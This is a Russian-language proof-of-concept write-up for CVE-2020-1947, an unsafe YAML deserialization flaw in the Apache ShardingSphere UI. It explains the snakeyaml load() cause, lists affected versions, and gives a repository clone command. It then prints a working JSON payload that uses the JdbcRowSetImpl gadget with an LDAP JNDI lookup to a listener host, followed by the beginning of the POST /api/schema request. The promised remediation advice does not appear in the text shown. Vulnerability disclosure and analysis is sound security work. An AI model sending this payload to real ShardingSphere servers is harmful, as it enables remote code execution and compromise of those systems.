
# PoC и анализ для CVE-2020-1947 — уязвимость удалённого выполнения кода при десериализации YAML в Apache ShardingSphere UI, включая шаги воспроизведения и рекомендации по исправлению.
Проект shardingsphere — это открытая экосистема Apache, представляющая собой набор решений промежуточного ПО для распределённых баз данных. Он состоит из трёх независимых фреймворков: sharding-jdbc, sharding-proxy и sharding-sidecar, и используется для шардирования данных, распределённых транзакций и управления базами данных.
ShardingSphere 4.0.0-RC3, 4.0.0 Компоненты sharding-jdbc, sharding-proxy, sharding-ui и др.
Apache-shardingsphere-incubating-4.0.0
java version "1.8.0_231"
Java(TM) SE Runtime Environment (build 1.8.0_231-b11)
Java HotSpot(TM) 64-Bit Server VM (build 25.231-b11, mixed mode
Веб-консоль shardingsphere использует библиотеку snakeyaml для разбора YAML-ввода с целью загрузки конфигурации источника данных. snakeyaml позволяет unmarshal выполнять разбор и десериализацию без какой-либо проверки.
unmarshal() напрямую передаёт содержимое в метод load() библиотеки yaml.snakeyaml для разбора.
В этом случае передача в unmarshal вредоносного сериализованного YAML-содержимого приводит к RCE.
git clone https://github.com/HexChristmas/CVE-2020-1947
cd CVE-2020-1947
docker-compose.yml
Poc
{"name":"CVE-2020-1947","ruleConfiguration":" encryptors:\n encryptor_aes:\n type: aes\n props:\n aes.key.value: 123456abc\n encryptor_md5:\n type: md5\n tables:\n t_encrypt:\n columns:\n user_id:\n plainColumn: user_plain\n cipherColumn: user_cipher\n encryptor: encryptor_aes\n order_id:\n cipherColumn: order_cipher\n encryptor: encryptor_md5","dataSourceConfiguration":"!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: ldap://127.0.0.1:1389/CommandObject\n autoCommit: true"}
Запрос
POST /api/schema HTTP/1.1
Host: 10.10.20.166:8089
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8